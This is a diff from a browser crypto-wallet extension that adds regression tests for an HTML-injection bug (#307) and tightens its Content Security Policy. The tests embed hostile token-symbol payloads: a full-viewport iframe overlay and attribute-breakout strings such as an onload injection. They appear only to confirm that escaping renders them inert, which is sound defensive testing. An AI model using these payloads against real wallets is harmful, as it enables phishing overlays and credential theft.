const { deleteWallet, state, storage } = load();
state.wallets = [wallet("Wallet 1", "secret-one", [A0])];
state.allowedSites = { [A0]: ["a.example"] };
state.deniedSites = {};
await openLostPassword(deleteWallet, 0);
node("delete-wallet-lost-name-input").value = "Wallet 1";
await click("btn-delete-wallet-lost-confirm");
const saved = (await storage.get("autistmask")).autistmask;
expect(saved.wallets).toEqual([]);
expect(saved.hasWallet).toBe(false);
expect(saved.activeAddress).toBeNull();
expect(saved.allowedSites).toEqual({});
expect(state.currentView).toBe("welcome");
expect(JSON.stringify(storage._raw())).not.toContain("secret-one");
});
});
describe("what the screen leaves behind", () => {
test("the typed confirmation is wiped when the screen is left", async () => {
const { helpers, deleteWallet } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
// The Settings gear, which is not this screen's Back button.
helpers.showView("settings");
expect(node("delete-wallet-lost-name-input").value).toBe("");
expect(node("delete-wallet-lost-flash").textContent).toBe("");
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
"hidden",
);
});
// Left mid-delete, the screen has to come back usable.
test("the confirm button is re-enabled on the way out", async () => {
const { helpers, deleteWallet } = load();
await openLostPassword(deleteWallet, 1);
node("btn-delete-wallet-lost-confirm").disabled = true;
helpers.showView("settings");
expect(node("btn-delete-wallet-lost-confirm").disabled).toBe(false);
});
// A wallet name is not a secret, so the screen is excluded for the
// other reason: reopening the popup must not land the user on a screen
// whose button erases key material.
test("the popup may not reopen onto it", () => {
expect(RESTORABLE_VIEWS.has(VIEW)).toBe(false);
expect(RESTORABLE_VIEWS.has("delete-wallet-confirm")).toBe(false);
});
});

View File

@@ -268,11 +268,15 @@ function ethCallResult(req, opts) {
return ZERO_WORD;
}
function tokenObject() {
// opts.tokenSymbolOverride is the hostile contract: set it and the explorer
// reports that string as the token's symbol, exactly as it would for a token
// whose symbol() returns markup. Read at request time, like every other
// fixture switch, so a test can flip it and reopen the popup.
function tokenObject(opts) {
return {
address_hash: STUB_TOKEN.address,
address: STUB_TOKEN.address,
symbol: STUB_TOKEN.symbol,
symbol: (opts && opts.tokenSymbolOverride) || STUB_TOKEN.symbol,
name: STUB_TOKEN.name,
decimals: STUB_TOKEN.decimals,
holders_count: STUB_TOKEN.holders,
@@ -281,7 +285,7 @@ function tokenObject() {
}
// One received ERC-20 transfer of 1.5 E2E to the address under test.
function tokenTransferItems(address) {
function tokenTransferItems(address, opts) {
return [
{
transaction_hash: STUB_TX_HASH,
@@ -290,7 +294,7 @@ function tokenTransferItems(address) {
from: { hash: STUB_COUNTERPARTY },
to: { hash: address },
total: { decimals: STUB_TOKEN.decimals, value: "1500000" },
token: tokenObject(),
token: tokenObject(opts),
},
];
}
@@ -317,11 +321,11 @@ function nativeTransactionItems(address) {
// A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving
// this is what puts an ERC-20 in the send screen's token dropdown, which is
// the only way the confirmation screen's ERC-20 path can be reached.
function tokenBalanceItems() {
function tokenBalanceItems(opts) {
return [
{
value: "1500000",
token: tokenObject(),
token: tokenObject(opts),
},
];
}
@@ -596,6 +600,9 @@ function traceEnabled(raw) {
* @param {string} [opts.tokenDecimalsOverride] what decimals() answers for
* the stub token, in place of the value Blockscout reports for it. This is
* the token that lies about its scale; read at request time.
* @param {string} [opts.tokenSymbolOverride] what the explorer reports as
* the stub token's symbol, in place of "E2E". This is the token whose
* symbol is markup; read at request time.
* @param {boolean} [opts.seedReceipt] answer eth_getTransactionReceipt with a
* confirmed receipt instead of null, so a wait screen resolves.
* @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) =>
@@ -674,14 +681,14 @@ async function installNetworkStubs(ctx, opts) {
return jsonResponse(route, {
items:
opts.seedTokenTransfer && addr
? tokenTransferItems(addr)
? tokenTransferItems(addr, opts)
: [],
});
}
if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) {
return jsonResponse(
route,
opts.seedTokenBalance ? tokenBalanceItems() : [],
opts.seedTokenBalance ? tokenBalanceItems(opts) : [],
);
}
for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) {

View File

@@ -2169,6 +2169,156 @@ test("a token that lies about decimals() at signing time broadcasts nothing (#30
await visible(env.page, "#view-address");
});
// ------------------------------------------- hostile token symbol (#307)
//
// The reproduction from the issue, in the real browser against the real
// shipped manifest. A token symbol is whatever the contract's symbol()
// returns, the explorer passes it through, and the popup interpolated it
// into an innerHTML string — so a token with 1,000 holders airdropped to
// the victim could paint a full-viewport cross-origin iframe over the
// wallet's own UI, on the screens where the user types their password.
//
// The iframe count and the rendered text are asserted separately on
// purpose, and neither substitutes for the other. `frame-src 'none'` stops
// an injected frame LOADING; it does not stop the element existing, so a
// zero iframe count is a claim about the escaping and about nothing else.
// The literal capped text is the claim that the symbol was treated as a
// string all the way down.
//
// The iframe count is taken on the address screen before anything is
// clicked. That is where the injected frame lands first, and it covers the
// viewport: with the escaping removed, every later step fails as a click
// timeout ("<iframe id=\"pwn\"> intercepts pointer events") rather than as
// anything that names the defect.
// Verbatim from the issue's reproduction.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
// What a correctly escaped and capped render of it reads as: the first
// MAX_SYMBOL_LENGTH-1 characters and an ellipsis. Spelled out rather than
// imported, so a change to the cap has to be restated here deliberately
// instead of being absorbed by a shared constant.
const HOSTILE_SYMBOL_DISPLAYED = "<iframe id=" + "…";
// Everything the popup can say about an injected symbol, read out of the
// live DOM in one pass.
function hostileSymbolState(page, tokenAddress) {
return page.evaluate((addr) => {
const row = document.querySelector(
'#wallet-list [data-token="' + addr + '"]',
);
// balanceLine() emits <div data-token><span><span>SYMBOL</span>…
// so this is the span the symbol itself was written into.
const symbolEl = row && row.firstElementChild.firstElementChild;
return {
rowFound: !!row,
rowText: row ? row.innerText.trim() : "",
symbolText: symbolEl ? symbolEl.textContent : "",
// The symbol's own span must hold text and nothing else. An
// element child here is the injection, whether or not it
// happens to be an iframe.
symbolElementChildren: symbolEl
? symbolEl.querySelectorAll("*").length
: -1,
// The whole popup document, not just the row: an injected
// element positioned fixed can be anywhere in the tree.
iframes: document.querySelectorAll("iframe").length,
pwnPresent: !!document.getElementById("pwn"),
};
}, tokenAddress);
}
test("a token whose symbol() returns markup renders as text (#307)", async (env) => {
env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
env.routeOpts.seedTokenBalance = true;
env.routeOpts.tokenSymbolOverride = HOSTILE_SYMBOL;
console.log(
"# stub token symbol() now returns: " + JSON.stringify(HOSTILE_SYMBOL),
);
// Close and reopen so the refresh that runs on open fetches balances
// with the hostile symbol in them.
await reopenPopup(env, "#view-address");
await env.page.waitForFunction(
(addr) =>
!!document.querySelector(
'#address-balances [data-token="' + addr + '"]',
),
STUB_TOKEN.address,
{ timeout: 60000 },
);
const onAddress = await env.page.evaluate(() => ({
iframes: document.querySelectorAll("iframe").length,
pwnPresent: !!document.getElementById("pwn"),
}));
console.log("# address-detail iframes = " + onAddress.iframes);
assert(
onAddress.iframes === 0 && !onAddress.pwnPresent,
"the address screen contains " +
onAddress.iframes +
" iframe(s) after a hostile symbol rendered (#307)",
);
await env.page.click("#btn-address-back");
await visible(env.page, "#view-main");
await visible(
env.page,
'#wallet-list [data-token="' + STUB_TOKEN.address + '"]',
60000,
);
const st = await hostileSymbolState(env.page, STUB_TOKEN.address);
console.log(
"# iframes in the popup DOM = " +
st.iframes +
" | #pwn present = " +
st.pwnPresent +
" | symbol = " +
JSON.stringify(st.symbolText),
);
assert(st.rowFound, "the hostile token never rendered a row at all");
assert(
st.iframes === 0,
"the popup DOM contains " + st.iframes + " iframe(s) (#307)",
);
assert(!st.pwnPresent, "the injected #pwn element is in the popup DOM");
assert(
st.symbolElementChildren === 0,
"the symbol span grew " +
st.symbolElementChildren +
" element children out of a token symbol (#307)",
);
assert(
st.symbolText === HOSTILE_SYMBOL_DISPLAYED,
"the symbol did not render as the literal capped text " +
JSON.stringify(HOSTILE_SYMBOL_DISPLAYED) +
": " +
JSON.stringify(st.symbolText),
);
assert(
!st.rowText.includes("z-index"),
"the uncapped symbol reached the screen: " + JSON.stringify(st.rowText),
);
// Put the fixture back before the next test reads it, and let the
// stored balances be rewritten with the honest symbol.
env.routeOpts.tokenSymbolOverride = null;
await reopenPopup(env, "#view-main");
await env.page.waitForFunction(
(addr) => {
const row = document.querySelector(
'#wallet-list [data-token="' + addr + '"]',
);
return !!row && row.innerText.includes("E2E");
},
STUB_TOKEN.address,
{ timeout: 60000 },
);
});
// ------------------------------------------- dApp round trips (#183)
//
// The seam. Everything above drives the popup on its own; this section is
@@ -3303,6 +3453,9 @@ async function main() {
// something other than the value the same fixture reports through
// Blockscout. The token that lies about its scale (#305).
tokenDecimalsOverride: null,
// What the explorer reports as the stub token's symbol. The token
// whose symbol() returns markup (#307).
tokenSymbolOverride: null,
// Whether eth_getTransactionReceipt confirms a transaction rather than
// answering "not mined yet".
seedReceipt: false,

110
tests/htmlEscape.test.js Normal file
View File

@@ -0,0 +1,110 @@
// The escape every view depends on, and the length bound on a displayed
// token symbol. Both were added for #307, where a token whose symbol()
// returned an <iframe> tag rendered that iframe inside the popup.
const { escapeHtml } = require("../src/shared/html");
const {
displaySymbol,
MAX_SYMBOL_LENGTH,
UNKNOWN_SYMBOL,
} = require("../src/shared/symbolDisplay");
// The payload from the issue's reproduction, verbatim.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
describe("escapeHtml", () => {
test("escapes all five characters, quotes included", () => {
expect(escapeHtml("&<>\"'")).toBe("&amp;&lt;&gt;&quot;&#39;");
});
// The regression this function was rewritten for. The previous
// implementation round-tripped through a detached div's textContent,
// and an HTML text node serializes a quote as itself — so a value with
// a quote in it broke straight out of data-copy="..." and href="...".
test("escapes quotes, which the textContent round trip did not", () => {
expect(escapeHtml('a"b')).toBe("a&quot;b");
expect(escapeHtml("a'b")).toBe("a&#39;b");
});
test("does not double-escape an ampersand it just introduced", () => {
expect(escapeHtml("&lt;")).toBe("&amp;lt;");
expect(escapeHtml("&amp;")).toBe("&amp;amp;");
});
test("leaves a string with nothing to escape untouched", () => {
expect(escapeHtml("USDC")).toBe("USDC");
expect(escapeHtml("")).toBe("");
});
test("renders the hostile symbol inert", () => {
const out = escapeHtml(HOSTILE_SYMBOL);
expect(out).not.toContain("<");
expect(out).not.toContain(">");
expect(out).not.toContain('"');
expect(out).toContain("&lt;iframe");
});
// A quoted attribute is broken out of by a quote, a bare one by a
// space; both are closed here. Asserted as a whole attribute rather
// than character by character, because it is the attribute that has to
// survive, not the escape table.
test("a value carrying a quote stays inside its attribute", () => {
const evil = '" onload="alert(1)';
const attr = `data-copy="${escapeHtml(evil)}"`;
expect(attr).toBe('data-copy="&quot; onload=&quot;alert(1)"');
expect(attr.split('"').length - 1).toBe(2);
});
test("null and undefined render as nothing rather than as words", () => {
expect(escapeHtml(null)).toBe("");
expect(escapeHtml(undefined)).toBe("");
});
test("coerces a non-string without losing the escape", () => {
expect(escapeHtml(42)).toBe("42");
expect(escapeHtml({ toString: () => "<b>" })).toBe("&lt;b&gt;");
});
});
describe("displaySymbol", () => {
test("passes every symbol in the bundled list through unchanged", () => {
const { TOKENS } = require("../src/shared/tokenList");
for (const t of TOKENS) {
expect([t.address, displaySymbol(t.symbol)]).toEqual([
t.address,
t.symbol,
]);
}
});
test("caps an over-long symbol and marks it as truncated", () => {
const long = "A".repeat(4096);
const out = displaySymbol(long);
expect(out.length).toBe(MAX_SYMBOL_LENGTH);
expect(out.endsWith("…")).toBe(true);
});
test("keeps a symbol of exactly the cap intact", () => {
const exact = "A".repeat(MAX_SYMBOL_LENGTH);
expect(displaySymbol(exact)).toBe(exact);
});
test("substitutes a placeholder for an absent symbol", () => {
expect(displaySymbol("")).toBe(UNKNOWN_SYMBOL);
expect(displaySymbol(null)).toBe(UNKNOWN_SYMBOL);
expect(displaySymbol(undefined)).toBe(UNKNOWN_SYMBOL);
});
// The cap is a layout bound and nothing more: it must not be mistaken
// for the thing that makes a symbol safe to render. A short hostile
// symbol passes through it untouched, and is inert only because the
// caller escapes it afterwards.
test("does not sanitize — a short markup symbol survives it verbatim", () => {
expect(displaySymbol("<img src=x>")).toBe("<img src=x>");
expect(escapeHtml(displaySymbol("<img src=x>"))).toBe(
"&lt;img src=x&gt;",
);
});
});

View File

@@ -13,6 +13,33 @@
// an exact match on the token set is what keeps the next edit from
// smuggling one in alongside.
//
// It is also the anti-regression check for #307. The policy used to declare
// script-src and object-src and nothing else, which left every directive
// that does not fall back to them — and, absent default-src, every one that
// does — wide open: a hostile ERC-20 symbol that reached innerHTML could
// load a full-viewport cross-origin iframe over the wallet's own UI. The
// escaping in src/shared/html.js is the primary fix; default-src is what
// stops the next escape that slips from reaching the network.
//
// Every directive below is pinned exactly, because each of the four
// loosenings is load-bearing and none of them may grow:
//
// style-src 'unsafe-inline' src/popup/index.html and the view helpers
// use style="..." attributes throughout, which
// CSP blocks without it. Chrome enforces this
// on attributes, not just <style> blocks, and
// Firefox has never implemented style-src-attr,
// so there is no narrower spelling available.
// img-src data: blockies are data: PNGs assigned to img.src.
// connect-src https: http: the RPC endpoint is user-configurable, and a
// local node over http://127.0.0.1 is a
// supported configuration — the Firefox e2e
// suite runs on exactly that.
// frame-src/form-action/base-uri named rather than inherited: form-action
// and base-uri do not fall back to default-src
// at all, and frame-src 'none' is what kills
// the reported attack outright.
//
// build.js copies these files to dist/<target>/manifest.json verbatim, so
// what is asserted here is what ships.
@@ -21,8 +48,22 @@ const path = require("path");
const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
const EXPECTED_SCRIPT_SRC = ["'self'", "'wasm-unsafe-eval'"];
const EXPECTED_OBJECT_SRC = ["'self'"];
const EXPECTED_DIRECTIVES = {
"default-src": ["'self'"],
"script-src": ["'self'", "'wasm-unsafe-eval'"],
"object-src": ["'self'"],
"style-src": ["'self'", "'unsafe-inline'"],
"img-src": ["'self'", "data:"],
"connect-src": ["'self'", "http:", "https:"],
"frame-src": ["'none'"],
"form-action": ["'none'"],
"base-uri": ["'none'"],
};
// Directives that fetch script. Nothing that can execute code may name a
// remote source, an eval form, or an inline form; 'wasm-unsafe-eval' is the
// single deliberate exception and it is pinned above.
const SCRIPT_DIRECTIVES = ["default-src", "script-src", "object-src"];
const FORBIDDEN_SOURCES = [
"'unsafe-eval'",
@@ -53,26 +94,31 @@ function parseCsp(policy) {
function assertPolicy(policy) {
const directives = parseCsp(policy);
expect(Object.keys(directives).sort()).toEqual([
"object-src",
"script-src",
]);
expect(directives["script-src"].slice().sort()).toEqual(
EXPECTED_SCRIPT_SRC,
// Exact, in both directions: a directive that appears here and not in
// EXPECTED_DIRECTIVES is an unreviewed addition, and one that
// disappears silently reopens whatever it was closing.
expect(Object.keys(directives).sort()).toEqual(
Object.keys(EXPECTED_DIRECTIVES).sort(),
);
expect(directives["object-src"].slice().sort()).toEqual(
EXPECTED_OBJECT_SRC,
);
for (const source of FORBIDDEN_SOURCES) {
expect(directives["script-src"]).not.toContain(source);
expect(directives["object-src"]).not.toContain(source);
for (const [name, sources] of Object.entries(EXPECTED_DIRECTIVES)) {
expect([name, directives[name].slice().sort()]).toEqual([
name,
sources.slice().sort(),
]);
}
for (const name of SCRIPT_DIRECTIVES) {
for (const source of FORBIDDEN_SOURCES) {
expect(name + " " + directives[name].join(" ")).not.toContain(
" " + source,
);
}
}
}
describe("shipped Content Security Policy", () => {
// MV3 takes an object and applies extension_pages to the popup and the
// background service worker, which is where libsodium runs.
test("chrome MV3 allows WASM and nothing else beyond 'self'", () => {
test("chrome MV3 ships the pinned policy, default-src included", () => {
const csp = readManifest("chrome").content_security_policy;
expect(typeof csp).toBe("object");
expect(Object.keys(csp)).toEqual(["extension_pages"]);
@@ -87,7 +133,7 @@ describe("shipped Content Security Policy", () => {
// Firefox before 106 rejects an MV2 policy string that omits
// object-src and falls back to its own default, discarding everything
// declared here. Same policy as Chrome, different manifest shape.
test("firefox MV2 allows WASM and nothing else beyond 'self'", () => {
test("firefox MV2 ships the pinned policy, default-src included", () => {
const csp = readManifest("firefox").content_security_policy;
expect(typeof csp).toBe("string");
assertPolicy(csp);